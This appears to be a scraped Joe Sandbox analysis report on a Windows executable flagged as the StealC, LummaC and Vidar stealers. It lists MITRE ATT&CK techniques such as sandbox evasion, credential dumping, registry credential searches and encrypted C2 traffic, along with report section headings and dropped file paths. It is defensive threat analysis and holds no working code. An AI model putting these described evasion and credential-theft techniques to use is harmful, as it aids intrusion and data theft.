Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKFHCFIECAAAKEGCFIEHDAKF

C:\ProgramData\BAFCFBAEGDHIEBFHDGCB

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

C:\ProgramData\BKFHCGIDBAAFHIDHDAAEHIEHIE

C:\ProgramData\DGHIDAFCGI.exe

C:\ProgramData\DHIEHIIEHIEHJKEBKEHJ

C:\ProgramData\EBGDAAKJ

C:\ProgramData\FCAAEBFHJJDAAKFIECGD

C:\ProgramData\HJDGCGDB

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre